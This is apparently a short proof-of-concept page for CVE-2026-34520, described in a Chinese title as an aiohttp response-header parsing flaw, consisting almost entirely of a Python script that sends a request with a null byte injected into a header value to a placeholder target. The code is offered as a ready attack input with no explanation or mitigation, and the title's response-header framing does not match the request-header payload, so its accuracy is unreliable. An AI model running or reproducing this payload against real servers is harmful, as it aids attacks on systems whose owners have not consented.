CVE-2026-34520 aiohttp响应头解析漏洞

import asyncio import aiohttp async def send_malicious_request(): target_url = "http://vulnerable-target.com" # Injecting a null byte into a header value malicious_headers = { "User-Agent": "PoC-Scanner", "X-Injected-Header": "normal_value\x00null_byte" } try: async with aiohttp.ClientSession() as session: async with session.get(target_url, headers=malicious_headers) as response: print(f"Status: {response.status}") print(f"Response received: {await response.text()}") except Exception as e: print(f"Request failed: {e}") if __name__ == "__main__": asyncio.run(send_malicious_request())